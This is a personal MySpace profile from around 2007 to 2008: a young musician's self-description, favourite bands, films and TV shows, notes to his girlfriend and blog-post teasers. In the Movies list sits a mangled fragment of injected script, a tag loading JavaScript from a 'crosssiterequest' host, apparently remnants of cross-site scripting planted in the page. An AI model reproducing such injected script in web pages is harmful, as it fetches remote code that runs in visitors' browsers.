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Jesse Joseph Martin

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About Me


Who I Am:I am Jesse Martin, J Joseph, Jesse the Gigolo, Martin, Jess, and so on. Who am I though? I am a lot of things and yet nothing. To many of the people I know I am nothing but just another pile of flesh with nothing else inside. To others I am their closest friend and a book to all their secrets. I am 19 years old and living in Newhall California. I have long, shoulder length, blonde hair and bluey-green eyes. I stand at 5’11”. I am a Christian though my beliefs are my own and I do not preach. I do not see how anyone can preach in our generation where there is not one uncorrupt person in society in one manner or another. I have found pure, true, innocent, and loving atheists and agnostics where as I have also found mean, hypocritical, and self righteous christians. I am not putting my faith down I am just pointing out that religion should never truly judge the character of a person . So I do not preach because I am not pure myself.My Goals in Life:I plan to become a musician, though it is such a hard dream to fulfill. If I do not make it as the artist as I wish to be then I hope, at least, I make a difference somewhere in the lines of music just to shake things up a bit. Chaos is everything.Jesse, you are such an amazing person. You mean the world to me. When I'm with you, I forget about everything else going on. Thank you so much for being in my life. I don't know where I would be with out you right now.

My Interests

Music Violin Guitar Comedy A Good Story JESSICA! Video Games Computers Movies Books Television Writing RPingAnd so on

I'd like to meet:

I don't need to meet anyone else. I have already found an amazing girl, Jessica.

Music:


Rock And Or Roll Classical Metal Experimental Industrial Blues Flamenco Or Roma Gypsy Guitar AC/DC Ali DiMeola Aerial 2012 AFI The Animals Arcano Audioslave The Beatles Beck Black Label Society Blind Melon Bright Eyes Bullets and Octane CAKE Chiasm The Cruxshadows The Cure Daft Punk The Doors Dropkick Murphys The Exies The Foo Fighters Franz Ferdinand Genitorturers Green Day HIM Incubus Jane's Addiction Jet Jethro Tull Jimi Hendrix John McLaughlin Johnny Cash The Killers Lacuna Coil Led Zeppelin The Mars Volta Ministry Modest Mouse Muse Nine Inch Nails Nirvana Oasis Paco De Lucia Pink Floyd Queens of The Stone Age Rage Against The Machine Rob Zombie The Rolling Stones Smashing Pumkins Stone Temple Pilots Teksture Tom Mischke Traffic Van Morrison The Violent Femmes The Wallflowers The White Stripes White Zombie The Who I Plan to add more.

Movies:

I like watching movies with my loving girlfriend, Jessica
These Are A Few Favorites But I Like A Lot More A Scanner Darkly Anchorman Batman
Batman Begins Blade Cigarette Burns Dodge Ball Donnie Darko Eternal Sunshine of the Spotless Mind Night Watch Pi Spaceballs The Lost Boy The Matrix Walk The Line .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:


12 oz. Mouse
American Dad
Aqua Teen Hunger Force
Big O
The Boondocks
The Brak Show
Case Closed
The Colbert Report
Cowboy Bebop
Daily Show with Jon Stewart
Family Guy
Futurama
Harvey Birdman Attourney At Law
Law and Order SVU, CI, and the original
Masters Of Horror
Metalocalypse
Mission Hill
The Oblongs
Robot Chicken
Sealab 2021
Space Ghost Coast to Coast
Squidbillies
Stroker & Hoop
Tom Goes to the Mayor
Venture Bros.

Books:

For some reason my books section got deleted so I am too lazy to type all of them again for now.

Heroes:

my guinea pig, love of my life, princess, sweetheart, love dove, geoglion, Jessica ♥

My Blog

Emasculating The Masculine

Emasculating the Masculine. A common concern conveyed in recent history by those involved in the feminist movement has been that our media, through its increasingly graphic formats, imposes an imp...
Posted by Jesse Joseph Martin on Tue, 29 Apr 2008 06:01:00 PST

Something I have learned from Myspace

MCR fanatics tend to be slow.I have looked at comments on videos and noticed those with MCR in their name tend to leave idiotic comments.Here is one posting a reply to "The Onion" a satire of modern n...
Posted by Jesse Joseph Martin on Thu, 13 Mar 2008 01:05:00 PST

NONprom and the morning after.

Well I had a nice time last night. The party wasn't amazing. I have never felt like I fit in at those parties. So Jessica and I left early. Apparently just in time too. Shortly after I left, bros came...
Posted by Jesse Joseph Martin on Mon, 04 Jun 2007 10:51:00 PST

Read It In Black And White

I got up this morning and decided to read the newspaper for the first time in years. I had forgotten why I hated the newspaper but today's rendevous with such propagandist and biased filth reminded me...
Posted by Jesse Joseph Martin on Sat, 28 Apr 2007 08:16:00 PST

Do You Want To See Minnesota In A (Literal) Nutshell?

Minnesota singles Add to My Profile | More Videos...
Posted by Jesse Joseph Martin on Sun, 01 Apr 2007 12:25:00 PST

What Does Life Soundd Like?

I Just Want To Run Into His Room And Yell PEEKABOO!!!! Or something along the lines.*Slap Slap Slap Slap Slap Slap*
Posted by Jesse Joseph Martin on Sun, 01 Apr 2007 10:42:00 PST

A Song Out Of Key

Everyday I grow farther and farther away from you. It's almost as if I can't remember who you are anymore. Like an awkward chord, When first struck it leaves, what seems to be, a lasting impress...
Posted by Jesse Joseph Martin on Thu, 29 Mar 2007 10:11:00 PST

Where Was It When You First Heard?

All you can do is hear.The garage door opens and the car stops. Silence falls over the house. The door to the garage opens and shuts. Father says something inaudible. Mother bursts in tears crying. Fa...
Posted by Jesse Joseph Martin on Fri, 09 Mar 2007 07:21:00 PST

How's It Going? Are You Flowing?

I'd like to make love (or hook up) with a ballerina. I know, weird of me to say.Anyways, on a totally different note. Any cute ballerina's out there who want to hang out?Haha.If not, are there any cut...
Posted by Jesse Joseph Martin on Wed, 07 Mar 2007 01:25:00 PST

An Affluent Society

I don't understand it when people try to flaunt themselves as something so amazing and act like they are better than me then a few seconds later begin to tell me about their problems. Why do they thin...
Posted by Jesse Joseph Martin on Sat, 24 Feb 2007 01:03:00 PST